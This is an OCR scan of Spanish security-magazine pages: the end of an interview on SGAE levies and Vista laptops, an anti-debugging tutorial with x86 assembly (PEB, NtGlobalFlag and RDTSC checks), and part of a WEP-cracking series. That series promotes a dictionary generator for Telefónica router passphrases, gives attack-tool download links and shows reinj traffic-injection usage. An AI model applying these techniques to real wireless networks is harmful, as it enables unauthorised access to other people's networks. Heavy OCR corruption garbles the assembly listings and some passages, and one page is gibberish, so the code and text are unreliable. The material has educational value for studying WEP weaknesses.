bre para mafiana. Tienen muy clara

la idea de “vamos a coger lo que po-
damos”. Saben que su tendencia de
mercado es otra: la red. Por eso ahora
intentan hacerse con este monopolio y
saben que, antes, tienen que eliminar a
la competencia. ;

Como las webs P2P, aja. Por
cierto, hace poco salid la
sentencia de vuestro juicio,
perdisteis y habéis recurrido.
éQué tal fue el juicio?

El juez hizo preguntas muy buenas. Por
ejemplo, por qué cobran 1,20 de canon
por cada DVD, mas IVA.

Y qué respondieron?

La SGAE argumenta que por un CD
piden 0,24 porque cada hora de audio
graba 0,18 céntimos, como recoge la
LPI, y la cardtula del CD te dice cudntos
minutos hay. Con los DVD piensas que
van a explicar lo mismo: la ley dice que
cada hora de video cuesta 0,30, la cari-
tula de un DVD de 4,7 gigas pone que
son dos horas y, por tanto, 0,60 de ca-
non. Pues no. La SGAE contesta que, co-
mo hay gente capaz de meter hasta seis
horas en un DVD, ellos cobran cuatro.

éQué mas preguntd el juez?
Cuando me auditaron, no acepté dar las
facturas de mis clientes, para preservar
sus datos privados. 56lo dejé acceso a
las declaraciones de renta, de IVA, etc,
y a mis facturas de compras de CDs y
DVDs. Por cierto que la auditora no pa-
recia muy experta en el tema porque le
tuve que explicar qué era un disquete.

Ja, ja.

El juez le preguntd que si sélo pueden
reclamar canon de lo que se ha vendido,
por qué en la auditoria me pidieron solo
las compras. ;Ddnde estaban las ventas?
Ella dijo que no recordaba muy bien
como las habia calculado porque "estas
tiendas facturan cosas raras”.

&Y aun asi perdisteis?

Lo que se tuvo en cuenta fue el alegato
final del abogado de la SGAE, quien dijo
que, aunque es evidente que los dispo-
sitivos y soportes tienen mdltiples usos y
no sélo copiar material con derechos de
autor, eso es irrelevante. Cito textualmen-
te: "Como si el usuario los usa de espan-
tapdjaros o graba datos o los guarda en
un cajén, es indiferente puesto que no se
puede comprobar”. Y que la "idoneidad
estaba avalada por maltiples sentencias.




éQué tal te llevas con la SGAE?
Con la recaudadora, la sefiora Raudo-
na, me |levaba muy bien. Al principio
le preguntaba cosas, me intentaba in-
tormar, pero luego, cuando la llamaba
preocupada y hasta incluso alguna vez

llorando, atendia mis lloros y me rebaja-
ba la deuda.

Y con los peces gordos?

Creo que me tienen carifio porque me
llaman "dicharachera", "esa peculiar em-
presaria” :)

éSi la SGAE se retira del tema
canon en las tiendas, se acaba
el juego de APEMIT?

MNo. Estd empezando a ser una herra-
mienta para mds cosas. Por ejemplo, el
pequeno comerciante se suele enterar de
las normativas a golpe de multa, porque
se dedica a su trabajo y no a pasar horas
en Internet a ver si sale algo. Mormal-

- mente, nos ponemos en manos de un
gestor y le pagamos un montén de pelas
para que haga gestiones que a veces son
muy sencillas, como regularizar tu web
segln la LSSI y la Ley de Proteccidn de
Datos.

Y esta informacién puede en-
contrarse en la web de APE-
MIT...

5i. También quiero que sirva como ayu-
da reciproca, poniéndose en los dos
lados del mostrador, como vendedor y
como cliente. Hay cosas que fallan de
cara al cliente, por ejemplo emitir una
factura correctamente. Muchas tiendas,
con toda la buena fe, emiten facturas

MUCHAS TIENDAS, CON
TODA LA BUENA FE, EMI-
TEN FACTURAS QUE DES-

PUES NO SIRVEN PARA
RECLAMAR, O NO SABEN
DECIR AL CLIENTE COMO
HACERLO

que después no sirven para reclamar, o
no saben decir al cliente como hacerlo.
También hacer presién para que las ga-
rantias se adecuen a lo que dice la ley.

Como grupo, puedo presionar e incluso
decidir no vender el producto.

Interesante.

Ademds, queremos incentivar que las
tiendas promocionen el software li-

bre. Por estrategia comercial y porque
estamos recibiendo las ofertas de los
mayoristas, parece que el (nico software
que existe es el que te ofrece Microsoft.
Hay mucho desconocimiento y mucho
trabajador del sector que, a nivel de
usuario, trabaja con software libre pero
no se atreve a promocionarlo porque
tiene miedo a la incompatibilidad de las
COSsas.

LY qué vais a hacer?

Que dentro de APEMIT, si yo vendo un
equipo y tengo que configurarlo con
Linux, pueda hacerlo y tenga un grupo
de soporte dentro de APEMIT o pueda
enlazar con algin foro serio, donde ha-
cer consultas.

Seria genial.

Es que se nos viene encima un tema
muy curioso con el software, que va-
mos a sufrir a partir de las Navidades,
cuando volveran los regalos, entre ellos
el portitil. Ahora, el tema no es que te
vendan el portitil con un sistema opera-
tivo que no quieres y te veas obligado a
batallar para que te devuelvan el dinero.
En APEMIT ya tenemos redactado el pro
ceso para el cliente que lo quiere solici-
tar y normalmente lo devuelven.

{Entonces?

El tema es que los portitiles vienen con
un Vista preinstalado, va ni siquiera te
dan el soporte en CD porque no pagas
el software sino el derecho a usarlo. Y, si
lo quitas, pierdes la garantia.

Arglll
Pero si dices: me da igual la garantia, lo

quito, resulta que no encuentras contro-
ladores para los dispositivos que sean
compatibles con ningin otro sistema
operativo que no sea el Vista.

éEsto pasa en todos los porta-
tiles o sdlo algunas marcas?
Todos los modelos de HP y Samsung
llevan Vista preinstalado y pierdes la ga-
rantia y el soporte técnico si pones otro.
Acer también lleva Vista, pero permite la
devolucién del SO y mantiene la garan-
tia sobre el hardware. Con Asus tampo-
co pierdes la garantia, pero se complica
la asistencia técnica, y Dell no devuelve
el dinero del SO.

éQué hara APEMIT?

Ayudar a que la gente sepa que, aparte
de escoger por marcas, modelos, presta-
ciones, estética o tamano, también pue-
de escoger el software. Esto incentivard
a las marcas, algunas de las cuales ya se
han atrevido a hacer sus PCs compati-
bles con Linux y sin Windows instalado.

ETa usas Linux?

Estamos empezando. De momento, he-
mos instalado Ubuntu en los ordenado-
res de la tienda que estin a disposicién
del piblico.

Mercé Molist



ANTIDEBUGGING

En esta entrega, hoy les traigo la segunda parte de trucos, antidebugging, y veremos varios mas,
que pueden ser antidump, antibpx, y demas trucos para complicar el debuggeo y el reversing de
nuestras futuras aplicaciones o protecciones.

Recordando Tercer Ejemplo
Algunos crackers, cuando utilizan Softlce, para debuggear a sus “victimas”, buscan terminar el proceso que estin debugeando,
usando un "r eip ExitProcess”, o ensamblando un JMP o CALL directo a ExitProcess.

Veremos la forma de detectar que eso estd sucediendo... Para detectar el debugger.

mov ebx,07TETS863h0 s direccidn de ExitProcess

push offset seh handler ;seonfigurames un  SEH
push dword ptr fs:[0]
mov dword ptr Es:[0],esp

push offset old protect

push PAGE EXECUTE READ OR PAGE GUARD

push 1

push ebx

Beallx VirtualProtect ; protegemos la pagina de memoria PAGE GUARD

Como estamos viendo, acabamos de proteger a ExitProcess, ubcando una especie de “layer”, para que el SO nos avise cuando
hay un intento de ejecucién en esa zona de memoria,

push 0
push ocffset ml
push offset ml
push 0
Bcallx MeszageBoxh
;7 cuando se muestra este messagebox, atachariamos el debugger

exit:

mov dword ptr [marker],l; seteamos el marcador a 1

push 0

Bcallx ExitProcess i llamamos a ExitProcess

seh _handler:

pop dward ptr £s5: [0] j removemos el SEH
pop eax

cmp byte ptr [marker],l ; &3 este nuestro call?
Je exit



i

Podemos ver que si el marcador no es igual a 1, entonces estamos siendo debuggeados. Pero si coinciden, entonces no estamos
siendo debuggeados y salimos del proceso.

push 0
push offzat m2
push offset m2

push 0

Bcallx MessageBoxh ; estamos siendo debuggeados

jmp exit

me db "Ups estoy siendo debuggeade :)%,0

ml db "Atachea un debugger y trata de modificar eip hacia
ExitProcess!®, 0

marker db O

old protect dd 0

Después del codigo, tenemos las instrucciones que utilizamos en el programa. Esta rutina es bastante interesante y completa,
como para utilizar en nuestras propias protecciones.

Cuarto Ejemplo

Este ejemplo se trata de un detector de debu en ring 3. Antes de seguir explicaré de qué se trata este truco.
Es bastante simple, mas que nada utiliza el PEB, que significa Process Environment Block, el cual es una estructura que contiene
varios datos que describen un proceso en ejecucidn.

Uno de los campos se llama BeingDebuged, y contiene un 1 o un 0, en el caso que esté siendo debuggeado o no el proceso.
Esta estructura es manejada por el sistema operativo.

.data
DbgotFoundTitle db "Debugger status:",0h
DbgFoundTitle db "Debugger status:",0h
DbgNotFoundText db "Debugger not found!™,Oh
DbgFoundText db "Debugger found!",0h

« Code

Aqui arriba estdn las variables de datos, que contienen los
strings del programa.

Este ejemplo fue codificado por apOx, es bastante interesante,
como parte de su protection lab.

gtarct:

ASSUME F$:NOTHING

1. MOV EAX,DWORD PTR FS:[18h)

2. MOV EAX,DWORD PTR DS:[EAX+30h]
3. MOVZX EAX,BYTE PTR D3: [EaX+2h]

Como dije antes, accede a la variable PEB!BeingDebuged de
la estructura del PEB. Este mismo cédigo podemos verlo en la

implementacion de la APl IsDebuggerPresent en la libreria ker-
nel32.dll.

En las lineas 1 y 2, se genera la direccién 7FFD3000 en el re-
gistro EAX, y luego se obtiene el valor 01, con la linea 3.

CMP EARX,1
JE @DebuggerDetected

Luego se compara EAX, con 1, se encuentra el debugger, si no no.
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ro, es obtenido en EAX, en el MOV anterior al loop, obtenido
como dije, de LDR_MODULE.

PUSH 30h

PUSH offset DbgFoundTitle
PUSH offzet DbgFoundText
PUSH 0

CALL MessageBox

PUSH 0

CALL ExitProcess

RET

5i se encuentra, entonces se mostrard el mensaje de en-
contrado, y se saldrd del detector.

~Exir:
PUSH 40h
FUSH cffzet DbgHotFoundTitle
PUSH offset DbgNotFoundText
PUSH 0
CALL MeszzageBox
PUSH O
CALL ExitProcess
EET

Si no se encuentra entonces, se mostrard el mensaje de
no encontrado.

== =3
B
= ~ ol [Faoed |
_SehBxit:
FOF F5:[0]
ADD ESP, 4
JMP Exit

end start

Finalmente, la rutina de aqui arriba, funciona para poder
salir de la excepcidon generada por el sistema, al no encontrar
el debugger. Es decir, el SEH.

Vemos que al principio de esta rutina, se hace un push,
de la direccidon que pertenece a la etiqueta _SehExit. Al ter-
minar, se recupera esa direccion, se suma 4 a ESP, y luego se
redirecciona a la etiqueta Exit, para salir finalmente.

Una extension de la caracteristica NtGlobalFlag, pode-
mos verlo aqui, este trozo de cédigo es utilizado por el cono-
cido protector ExeCryptor.

<ASSUME FS:NOTHING

MOV EAX, DNORD PTR FS:[30h]
.ADD ER¥,&8h

. MOV EAX, DWORD PTR DS: [EAX]
. CMF ERX, 70h

.JE BDebuggerDetected

P RRRL 0 Y U 6 T

Ya hemos visto algo similar antes, pero aqui lo vemos
directamente del protector mencuunadu Veremos que nos va-
mos hacia el offset 68h, como marca la linea 3.

@
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Por dltimo obtenemos ese byte, de esa posicidn, y se
compara con el valor 70h, si tiene ese valor, es porque los
FLAGS me mencioné anteriormente fueron seteados, si no,
no. :)

Sexto Ejemplo

En el dltimo ejemplo de antidebugging, que veremos en este
namero, es uno de los mds conocidos, denominado RDTSC.

RDTSC
XOR ECX,ECX
ADD ECX,EAX
RDTSC

Este truco, simplemente, mide por tiempo, la ejecucién,
entre dos marcas RDTSC. Si lleva mas de lo esperado, puede
haber un debugger en el medio, que esté interceptando las
instrucciones mds importantes.

SUB EAX,ECH
CHME EAM,0FFFh
JHE BOllyDetected

El tiempo es devuelto en el registro EAX, y por lo tanto, si
el valor devuelto es mayor que FFFh, entonces hay un debug-
ger en el medio.

Conclusion

Bien amigos, hemos visto los mds variados trucos de anti de-
bugging. Aln quedan muchos mas para apreciar y ver.

Existen, los mds variados trucos, y las mds variadas técni-
cas y metodologias. Muchas de ellas son investigadas, dentro
de las propias principales librerias del sistema operativo,
Comportamientos especificos del sistema, al estar presente
un debugger sobre un proceso.

Seguiremos viendo estos comportamientos en el préximo
ndmero.

Espero que les haya gustado.

MNos vemos en la proxima.
http://www.disidents.org
http://www.intrabytes.com
spark@disidents.org
arielrm®@intrabytes.com
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Inyeccion de trafico inalambrico para Ia ruptura del protocola WEP.

(BSrtepAViil)

MONITOR /RFMON.

Empezamos con un nuevo tema: La inyeccién de trifico inalambrico para la ruptura del protoco-
lo de cifrado WEP. En este primer capitulo comenzaremos con la presentacién del tema expuesto.
Estudiaremos un poco de teorfa y presentaremos algunas herramientas de in
inalambrico. A mayores, también, presentaremos NeW-Fi 0.2 [BETA] y hablaremos de cémo

funciona la inyeccién de trafico inaldmbrico cuando la tarjeta inalambrica se encuentra en modo

yeccién de trifico

Bienvenidos de nuevo, mis queridos War-
drivers. Me gustaria comenzar este arti-
culo hablando de algunas noticias que he
ido leyendo en periddicos gratuitos...

El 20minutos destaca estas noticias:

Detienen a un hombre en Reino Uni-
do por robar Wifi.

- Unos vecinos llamaron a la policia
al ver cdmo un desconocido navegaba
con un portatil desde el interior de un co-
che, aparcado en la puerta de su casa.

- El individuo fue detenido, acusado
de obtener servicios electrénicos de for-
ma deshonesta con el agravante de no
pagar por ellos.

- Es el segundo caso de detenciones de
ladrones de banda ancha en Inglaterra.

Pocdéis seguir leyendo la noticia desde
aqui: http://www.20minutos.es/noti-
cia/224491/0/detenidos/ladrones/Wifi/

Un joven podria ir a la circel por
usar la conexion WiFi de su vecino.

- El singapurense se enfrenta a una
posible condena de 3 anos de prisidn y
una multa de mas de 6.500 euros.

- Como atenuante, el joven ha co-
menzado a realizar el servicio militar.

Seguid leyendo desde aqui:

http://www.20minutos.es/noti-
cial184747/0/carcel/wififvecino/
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Si soléis ojear estos tipos de periddi-
cos 0s encontraréis muy frecuentemente
con alguna noticia relacionada con el
mundo inalambrico. Nunca estd de mis
estar atento a este tipo de noticias.

Que las redes inaldmbricas son in-
seguras si no se toman las medidas de
seguridad necesarias ya lo sabiamos. No
es nada nuevo para nosotros. Desgracia-
damente son muchos los usuarios que
todavia creen que su flamante clave WEP

SON MUCHOS LOS USUARIOS
QUE TODAVIA CREEN QUE
SU FLAMANTE CLAVE WEP

DE 128 BITS ES UNA BUENA

MEDIDA DE SEGURIDAD PARA

PROTEGER SU RED

de 128 bits es una buena medida de se-
guridad para proteger su red inaldmbrica.
Cuando leo la primera noticia siem-
pre me viene a la cabeza una cosa...
Lo menos que podria haber hecho el
intruso en la red inalambrica es robar el
ancho de banda... Desde luego el intruso
podria haber conseguido informacién
muy sensible, acceso a los host de la red
inaldmbrica y cableada, entre un mar de
posibilidades. En Hack Wi-Fi, iremos des-

tapando, capitulo a capitulo, todas esas
cosas que podria realizar un intruso en
nuestra red inaldmbrica.

NeW-Fi 0.2 [BETA]

Como lo prometido es deuda, aqui os
dejo en descarga directa NeW-Fi 0.2
[BETA]:
http://www.wadalbertia.org/Software
NeW-Fi%200.2%20%5bBETA%S5d/NeW-
Fi%20%5bBETA%5d%200.2.zip

Y aqui os describo las mejores de
MNeW-Fi 0.2 [BETA]:

A raiz de lo sucedido en este hilo (en
Wadalbertia):

http://www.wadalbertia.org/p
viewtopic.phpit=3315&start=15

hpBB2

Donde un miembro del foro, SLaYeR.
al intentar testear NeW-Fi 0.1 [BETA] se
encuentra con un Router (aparentemente
de IMAGENIO o ADSL de Telefénica que
tiene un BSSID no vilido ni para NeW-Fi
0.1 [BETA], ni para Wlandecrypter-0.5.

He decidido afadir una modificacion
a NeW-Fi para poder testear de igual
manera aquellas redes inalambricas /
Routers de IMAGENIO o ADSL de Telefo-
nica aunque el BSSID no sea vilido por
MeW-Fi.

De esta manera, si creemos que la




wed inalimbrica detectada sigue el mis-
mo patrén que las redes inalambricas de
MAGENIO o ADSL de Telefdnica pero
que contiene un BSSID diferente a las de-
mas (por lo menos hasta ahora), podamos
comprobar de igual manera su seguridad.

De esta manera y mediante unos
pasos diferentes a los citados en NeW-Fi
0.1 [BETA], ahora es necesario indicar el
Fabricante del Router Inalambrico, podre-
mos “calcular el resultado” y “Generar el
diccionario” con todos los posibles Pass-
phrase de la red inalimbrica objetivo.

Aunque esto todavia no estd confir-
mado. Ahora os explico el motivo:

Todos los Routers de IMAGENIO y
ADSL de Telefonica (Comtrend, XAV y
ZyXEL) utilizaban su interfaz ethernet
para generar parte del Passphrase. El
tabricante de la interfaz ethernet de los
Routers coincidia siempre con el fabri-
cante de la interfaz Wireless, l6gicamen-
te. Sin embar%m los tres primeros pares
de digitos de las interfaces Wireless y
Ethernet son diferentes, exceptuando al
fabricante XAVI, que utiliza las mismas.

Es decir, ZyXEL y Comtrend, disponen
de varias combinaciones de los primeros
tres pares de digitos de direcciones MAC
para Wireless y Ethernet. Diferenciadas
entre ellas.

Por ejemplo, ZyXEL puede disponer
de 6 posibles combinaciones de los tres
primeros pares de digitos de una di-
reccion fisica y dividirla en: Wireless y
Ethernet. 3 Combinaciones para Wireless
y 3 Combinaciones para Ethernet.

Hasta ahora, tanto ZyXEL como Com-
trend, utilizaban para la Interfaz Ethernet
siempre la misma combinacion de los
tres primeros pares de digitos de la direc-
cién MAC. Cada uno segin su fabricante.

Por ejemplo, ZyXEL puede tener 3
combinaciones para las direcciones MAC
de la interfaz Wireless.

= QU:z01:00
= 00:02:00
= 00:03:00

Un Router ZyXEL puede utilizar cual-
quiera de esas tres combinaciones para
la interfaz Wireless, hoy en dia es asi. Sin
embargo, la combinacion para la Interfaz
Ethernet, siempre era la misma, por ejem-
plo: 00:11:00. Daba igual cual fuese [a
combinacién de la interfaz Wireless.

Con Comtrend ocurre lo mismo.

Xavi utiliza para las Interfaces Wire-
less y Ethernet, la misma combinacion.
Aqui no hay problema.

Por lo tanto, deduzco que en este ca-

so sucede lo mismo, que aunque la direc-
cion MAC de la interfaz inalambrica sea
diferente a todas las anteriores, seguird
utilizando la misma direccién MAC para
la interfaz Ethernet.

Aungue esto podria ser erréneo.

Me gustan los retos. NeW-Fi 0.2 [BE-
TA] permite comprobar la veracidad de
esta conclusién permitiendo generar de
igual manera un diccionario con los po-
sibles Passphrases de la red inalimbrica
“mutante”. jjDiez puntos para aquel que
consigua primero la respuesta!!

También os dejo aqui un mini How-
To de como utilizar la nueva funcionali-
dad de NeW-Fi 0.2 [BETA]:

http://netting. wordpress.com/proyec-
to-new-fif

Pasemos hablar del tema de este mes.

NEW-FI 0.2 [BETA] PERMITE
COMPROBAR LA VERACIDAD
DE ESTA CONCLUSION
PERMITIENDO GENERAR
DE IGUAL MANERA UN
DICCIONARIO CON LOS
POSIBLES PASSPHRASES DE LA
RED INALAMBRICA “MUTANTE*

;Donde estibamos?

;Recorddis que nimeros atrds hicimos
una clasificacion de los ataques y herra-
mientas que vamos a estudiar sobre el
protocolo de cifrado WEP?

Pues vamos a recordar dénde estiba-
mos y lo que hemos estudiado ya.

Clasificacién de los ataques y he-
rramientas para burlar al protocolo de
cifrado WEP:

- Herramientas de ruptura de cifrado.

- Herramientas de generacion de mar-
cos 802.11.

- Herramientas de inyeccion de trifi-
co cifrado

Empezamos explicando el apartado
de “Herramientas de ruptura de cifrado”,
donde a su vez subclasificibamos dentro
de esta categoria otras herramientas:

- Rompedores o crakeadores de WEP.

- Herramientas para conseguir claves
WEP almacenadas en clientes inaldmbricos.

Ya hemos completado el primer
apartado y su subclasificacidn. Ya hemos
enumerado y explicado las herramien-
tas para la ruptura del protocolo WEP.
Hemos estudiado el modo de conseguir
las claves WEP almacenadas en sistemas
GNU/LINUX y Microsoft Windows.

HACK

WI-Fi

A mayores, hemos estudiado la segu-
ridad de las redes inalimbricas de IMA-
GENIO y ADSL de Telefénica que tanto
tiempo le hemos dedicado.

Hablando de estas redes nos en-
contramos con varios problemas. Los
paquetes con Vector de Iniciacion no
aumentan, existe un cliente conectado a
la red inaldmbrica objetivo, no existe nin-
giin cliente, etc.

Todos estos problemas que podemaos
encontrarnos a la hora de recoger paque-
tes con Vector de Iniciacion los solucio-
naremos con el siguiente apartado.

- Herramientas de inyeccion de trafi-
co cifrado.

Que podemos subclasificar en:

- Herramientas de inyeccion de trd-
fico. Estas herramientas nos ayudan a
acelerar el proceso de ruptura pasiva del
protocolo WEP

Comenzaremos explicando un poco
de teoria asi como citando las herramien-
tas que utilizaremos para la inyeccién de
trifico inaldmbrico.

Inyeccion de trafico
inalambrico para la ruptura
del protocolo WEP

Hasta ahora, en esta serie de articulos
dedicados al protocolo WEP, hemos
estudiado el protocolo cifrado, como
funciona en una red inaldmbrica, cémo
implementarlo en nuestra red inalambri-
ca, su seguridad, cémo burlarlo, qué he-
rramientas existen para romperlo, incluso
hemos puesto casos reales de un ataque a
una red inalambrica protegida, etc.

Hemos visto también que romper
la seguridad de una red inalambrica de
IMAGENIO o ADSL de Telefdnica es muy
sencillo si las condiciones no son adver-
5as... Solo necesitamos recoger al menos
un paquete con vector de iniciacion de la
red inaldmbrica objetivo.

Cuando deseamos romper la seguri-
dad de una red inaldmbrica que no sigue
un patron como las redes inalambricas
de IMAGENIO o ADSL de Telefénica es
necesario recoger una mayor cantidad
de paquetes con vector de iniciacion,
esto depende mayoritariamente de la red
inaldmbrica, de qué tipo de encriptacién
utiliza, si de 64 bits, si de 128 bits, etc.

Mormalmente para romper una red-
inaldmbrica cifrado con el protocolo
WEP que utiliza una clave WEF de
64 bits es necesario recoger al menos
250.000 paquetes con IV (Vector de ini-
ciacion).

@+



Para romper una red inaldmbrica
con clave WEP de 128 bits es necesario
recoger al menos 500.000 paguetes con
vector de iniciacidn.

En ocasiones podremos romper la
red inalambrica protegida con menos pa-
quetes... Aunque estos casos serin muy
escasos. Lo recomendable es recoger al
menos esas cantidades citadas.

En mds de una ocasion os encontra-
reis que aun recogiendo esas cantidades
de paquetes con vector de iniciacion no
somos capaces de romper la clave WEP.
Se necesitan mds paquetes. En ocasiones
recoger sobre un millén de paquetes Y,
de ahi para arriba. Desde luego, cuantos
mads, mejor.

Una tarjeta inaldmbrica que soporte
el modo Monitor o REMON puede rom-
per una red inaldmbrica protegida con el
protocolo de cifrado WEP. Aunque esta
no inyecte paquetes.

Hay gente que confunde la inyeccion
de trifico con la posibilidad de romper
una red inaldmbrica. Como veréis en la
explicacién de inyeccidn de trifico ina-
ldmbrico para la ruptura del protocolo
WEF, la inyeccién tan solo nos ayuda a
aumentar la cantidad de paquetes con
vector de iniciacién en menos tiempo,
para generar pacuetes con Vector de Ini-
ciacion de una red inalimbrica que no
“suelta” ningln paquete cifrado, u otros
ataques. Esto no quiere decir que sea ne-
cesario para romper una red inalambrica
protegida con el protocolo de cifrado
WEF. Bien, ahora ya queda aclarado.

Con lo citado y explicado hasta ahora
hemos llegado a la conclusién de que
cuanto mayor sea el volumen de trifico
inaldmbrico que recojamos mayor serd
la posibilidad de conseguir la clave WEP
correcta. De igual manera que menos
tiempo tendremos que emplear.

Por lo tanto: Cuanto mds pacuetes con
vector de iniciacion recojamos, jMEJOR!

Imaginaros que deseamos burlar la
seguridad de una red inalambrica que
utiliza el protocolo de cifrado WEP.

Detectamos la red inaldmbrica, re-
cogemos la informacion necesaria (dis-
tancia, cobertura, ruido, ESSID, BSSID,
Channel, etc). Lanzamos por ejemplo
airodump-ng con los parametros necesa-
rios para recoger paquetes con vector de
iniciacion y nos encontramos con que la
red inaldmbrica:

a) Suelta poco a poco paquetes con
vector de iniciacion.

b) No suelta ningln paguete con vec-
tor de iniciacién.

c) Suelta paquetes con vector de ini-
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ciacién bastante rdpido (comparado con
los apartados anteriores).

En cualquiera de estos casos recoger
500.000 paquetes con vector de inicia-
cién nos va a llevar su tiempo, en oca-
siones hasta diremos que puede resultar
imposible.

Para que esta tarea sea menos tediosa,
mas rdpida y a su vez eficaz, necesitamos
que los paquetes con vector de iniciacién
crezcan mas rapido en el contador d;b.

Para ello, nada nos prohibe que in-
yectemos trifico inaldmbrico en la red
inaldmbrica protegida mediante el proto-
colo WEP sin estar siquiera conectados a
la red inaldmbrica objetivo. Esto se debe
principalmente a que el protocolo WEP,

a diferencia de TKIP y CCMP, no incluye
ninguna herramienta de proteccion de
recepcidn de trafico inalambrico. Por lo
tanto podremos realizar un ataque de in-
yeccion contra el protocolo WEFP.

NADA NOS PROHIBE QUE
INYECTEMOS TRAFICO
INALAMBRICO EN LA RED
INALAMBRICA PROTEGIDA
MEDIANTE EL PROTOCOLO
WEP SIN ESTAR SIQUIERA
CONECTADOS A LA RED
INALAMBRICA OBJETIVO

Solo necesitamos una tarjeta inalim-
brica que soporte el modo MONITOR
o RFMON (que pueda escuchar los pa-
quetes que transmite la red inalambrica
protegida) y la inyeccidn de paquetes, es
decir, retransmitir aquellos paquetes que
pasen una determinada comprobacidn de
integridad.

Para que lo entendamos mejor. Ne-
cesitamos una tarjeta inaldmbrica cliente
que soporte el modo MONITOR o FR-
MON y pueda inyectar paquetes. Reco-
gemos paquetes de la red inaldmbrica v
los volvemos a enviar a la red inaldmbri-
ca. Mds o menos d:b.

Ahora seguro que el primero de la fila
levanta la mano y pregunta:

Pero eso no es posible. Hemos estu-
diado otras veces que una tarjeta inaldm-
brica o cualquier otro dispositivo 802.11
no puede transmitir cuando se encuentra
en modo MONITOR o RFMOMN.

A lo que tendria que contestar... Si,
pero no d:b.

Es cierto que una tarjeta inalambrica
cliente como cualquier otro dispositivo
802.11 no puede transmitir datos cuan-
do se encuentra en modo MONITOR o
RFMON siempre y cuando entendamos
transmitir como establecer una conexién
es decir: enviar paguetes, recibir una res-
puesta, contestar a esta respuesta.

Lo que si es posible es poner un dis-
positivo inalimbrico en modo MONITOR

(1]
Estado: RFMON

3]

[4]

NOpuede
responder

Tarjeta inalambrica
Cliente

paguatas. | I

Elemplo grifico: Modo MONITOR /RFMON + Inyecclén de paguetes.




» RFMON vy enviar paquetes. Mo respon-
fer a la respuesta de un paquete.

En el ejemplo grifico observamos un
AP (Punto de acceso) y una tarjeta ina-

ambrica cliente.

- La tarjeta inaldmbrica se encuentra
en estado: RFMON / MONITOR. [1]

- El AP se encuentra en modo infraes-
ructura.

- El AP envia paquetes, bien puede
wer a ofra estacion, a un cliente o los co-
nocidos beacoms frame, etc.

- La tarjeta inaldmbrica recoge estos
paquetes por que se encuentra en estado
FRMON o modo MONITOR. Recordar
que con este estado podemos recoger/es-
cuchar/capturar paquetes de dispositivos
802.11. 1]

- La tarjeta inaldmbrica podria enviar
un paquete a la red inalimbrica de infra-
estructura, al punto de acceso. [2]

- El punto de acceso contestaria a este
paquete enviado por la tarjeta inaldmbri-
ca cliente. [3]

- La tarjeta inaldmbrica no podria
contestar a la respuesta enviada por el
punto de acceso ya que se encuentra en
un estado de “escucha pasiva”, el modo
RFMON o modo MONITOR. Y esto no es
posible.[4]

Por lo que hemos explicado hasta
ahora entendemos por que la comunica-
cién bidireccional normal resulta impo-
sible.

La inyeccidn de trifico se utiliza tan
solo para aumentar considerablemente

HOBEY 7@ O Srw. Swes By
T I

B | s | D] |

B e

e = angpeLl e
crian = wlaf dmepei il b r
EELETFRd = ELa {RcgEgafie

il jsnvand jacgri iy “usnhssiEckEnkE
dn ) . duEd), JEEE{RND < 4 8
fpriml{scdarY; “errec: eanle oo AL
LLRLAEIT)

H]

va%y il

darii = B0 & 4 da jawd
wrLE{l] = el 4 Esmndy

Cr TR TI

Wbt f [, "o ks e
i S

ATy = oy vy Live ey, FOUF_FUSTEN, FoiF FROEDEC, [POLF_ToES,

A g geag dv it a7 0

 em——

dnegli) . Wapiil.

[ ——— 0 Pemmcnes| ) Ao ot o G| (5. Vi Rt |
LR — T

IIRARRRRRRRE

e dretniy |

e
o Do -

i

w2l

wELLD
!

(11
(11

i

L—

it atokon

HACK

Wi-FlI

los paquetes con vector de iniciacion de
la red inaldmbrica objetivo. Con este ata-
que provocamos que la red inaldmbrica
genere un mayor nimero de paquetes
con vector de iniciacién vilidos.

Por lo tanto, la inyeccién de trifico
solo nos ayuda a acelerar la ruptura del
protocolo WEF,

Otra cosa que debemos de tener en
cuenta es que para la inyeccion de trafico
con el objetivo de acelerar la ruptura del
protocolo de cifrado WEP o provocar un
ataque de denegacion de servicios por
avalancha las respuestas ACK no son im-
portantes.

Existen varias herramientas para
reinyectar trafico inaldmbrico. Para
GMU/LINUX, para Microsoft Windows y
para BSD. Aunque nosotros utilizaremos
la misma para GNU/LINUX que para
Microsoft Windows, explicaremos unas
herramientas muy interesantes, mas bien
su funcionamiento, para entender como
funciona la inyeccion de trifico inaldm-
brico.

Las herramientas de inyeccion

y su funcionamiento

Una de las herramientas disenadas es-
pecificamente para inyectar trifico ina-
ldmbrico para mejorar la eficacia de la
ruptura del protocolo WEP es reinj. Del
paquete Wnet para los sistemas BSD.
Esta suite de herramientas fue escrita por
H1kari, un autor de BSD-airtools. Habla-
remos de este conjunto de herramientas
mds adelante, cuando tocaremos otros
temas de generacidn de marcos inaldm-
bricos, que es la funcién principal y el
propdsito con el que se disend la biblio-
teca y las herramientas Whnet.

Al arrancar reinj, que podemos y de-
bemos descargarnos de:

httpe/iwww.wi-foo.com/soft/attack/
wnet.tgz

Reinj comienza inyectando peticio-
nes ARP y respuestas ACK TCP en la red
inaldmbrica objetivo. Tanto el contenido
como la longitud de estos paquetes son
conocidos y generan respuestas cifradas
también conocidas (respuestas ARP o
RST TCP) y esto provoca que el com-
portamiento de la herramienta sea muy
predecible y la generacién del trafico
mas fiable.

Existen otros tipos de paquetes que
generan repuestas muy predecibles que
se pueden probar si se utiliza una técnica
similar, por ejemplo, paquetes SYN TCF o
las peticiones DHCF.

Reinj funciona de la siguiente manera:

@4




reinj <dispositivo>
<hgssid>» <reintentos>
cintervalo®>

Reinj controlard las respuestas reci-
bidas en un intento de determinar si ha
funcionado correctamente la técnica de
inyeccion, si se ha generado trifico adi-
cional, por ejemplo.

5i no hubiese respuesta, reinj busca por
un pagquete mejor para volver a reinyectar.
Logicamente debe de conocer el BSSID (di-
reccion fisica, la direccidon MAC de la red
inalambrica) para poder inyectar el trafico.
Primero esnifa los paquetes de |a red ina-
lambrica objetivo v luego los inyecta.

Cuando reinj detecta lo que consi-
dera que es un paquete ARP o ACK de
TCP, trata de volver a inyectarlo en la red
inaldmbrica objetivo y asi generar mds
trafico inaldmbrico. Hace esto en cinco
ocasiones seguidas para comprobar las
respuestas y luego comienza a inyectar
trafico utilizando el intervalo especifico
indicado por el usuario en la linea de co-
mandos. De acuerdo, los duplicados que
afiade reinj a la red inaldmbrica objetivo
no debilitan criptogrificamente la red
inalambrica objetivo, pero las respuestas
que estos paquetes duplicados deben
generar si lo hacen. Por eso, cuando
reinj determina el objetivo y comienza a
obligar a las maquinas de la red a trans-
